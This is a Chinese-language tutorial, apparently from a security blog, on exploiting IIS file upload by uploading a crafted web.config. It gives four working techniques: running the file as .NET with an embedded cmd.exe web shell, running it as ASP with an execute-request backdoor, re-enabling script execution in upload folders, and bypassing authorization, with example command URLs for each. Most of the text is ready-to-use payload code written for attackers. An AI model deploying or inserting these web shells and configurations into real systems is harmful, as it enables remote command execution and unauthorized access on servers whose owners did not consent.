参考文章

01. 作为.NET 脚本执行

使用场景
1
当 IIS 服务器 仅支持 .NET 运行环境,且无法上传 .aspx、.asmx、.soap 等扩展名的文件时,攻击者可以尝试上传特制的 web.config,让其作为 .NET 脚本运行。
利用方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!--攻击者可以上传以下 web.config 文件,使其 .config 文件扩展名被当作 .aspx 解析,并执行动态 .NET 代码:-->

<configuration>
    <system.web>
        <compilation defaultLanguage="cs">
            <buildProviders>
                <add extension=".config" type="System.Web.Compilation.PageBuildProvider" />
            </buildProviders>
        </compilation>
        <httpHandlers>
            <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
    </system.web>
</configuration>
<%
if (flag)
{
    System.Diagnostics.Process process = new System.Diagnostics.Process();
    process.StartInfo.FileName = "cmd.exe";
    string str = Request["c"];
    process.StartInfo.Arguments = "/c " + str;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.RedirectStandardError = true;
    process.StartInfo.UseShellExecute = false;
    process.Start();
    string str2 = process.StandardOutput.ReadToEnd();
    Response.Write("<pre>" + str2 + "</pre>");
    Response.Flush();
    Response.End();
}
%>
执行效果
1
攻击者访问以下 URL,可直接执行系统命令:upload/web.config?c=tasklist

02. 作为 ASP 脚本执行

使用场景
1
如果 IIS 支持 ASP 运行环境,但无法上传 .asp 文件,攻击者可以上传 web.config,使其作为 ASP 代码解析。
利用方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!--上传以下 `web.config`,让 `.config` 文件扩展名被当作 `.asp` 解析,并执行 ASP 代码:-->

 <configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="*.config" verb="*" 
                 modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" 
                 resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>
<!--
<%
Response.write("->"&1+2&"<-")
on error resume next
if execute(request("dotnet")) <>"" then execute(request("dotnet"))
%>
-->
执行效果
1
2
3
4
# 攻击者访问以下 URL,可执行任意 ASP 代码,页面返回当前服务器的系统时间,证明代码执行成功
# 注意:服务器 必须支持 ASP,否则无法解析 .config 作为 ASP 代码

/upload/web.config?dotnet=response.write(now())

03. 绕过策略限制

利用场景
1
某些情况下,管理员会通过 web.config 禁止 uploads/ 目录执行脚本,但仍允许上传文件。攻击者可以上传新的 web.config 重新启用脚本执行权限

利用方式

1
2
3
4
5
6
7
8
<!--上传以下 web.config,重新开放 uploads/ 目录的脚本执行权限:-->

<configuration>
    <system.webServer>        
    <handlers accessPolicy="Read,Write,Execute,Script">        
    </handlers>    
    </system.webServer>
</configuration>

04. 绕过身份认证

利用条件
1
2
3
.NET web.config 可用于身份认证,默认会拒绝匿名用户访问。只有已登录用户才能访问该目录,一切的匿名访问都被重定向至登录页,重定向的URL地址如下所示。

最新研究成果:攻击者可以上传 web.config 重新开放目录权限,并执行任意代码。
利用方式
1
2
3
4
5
6
7
8
9
10
11
12
13
<!--上传以下 web.config,绕过身份认证:-->

<configuration>
    <system.web>
        <authorization>
            <allow users="*" />
        </authorization>
    </system.web>
</configuration>

<!--然后访问 URL 执行系统命令:-->

/upload/web.config?dotnet=Response.Write(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").exec("cmd.exe /c tasklist").StdOut.ReadAll())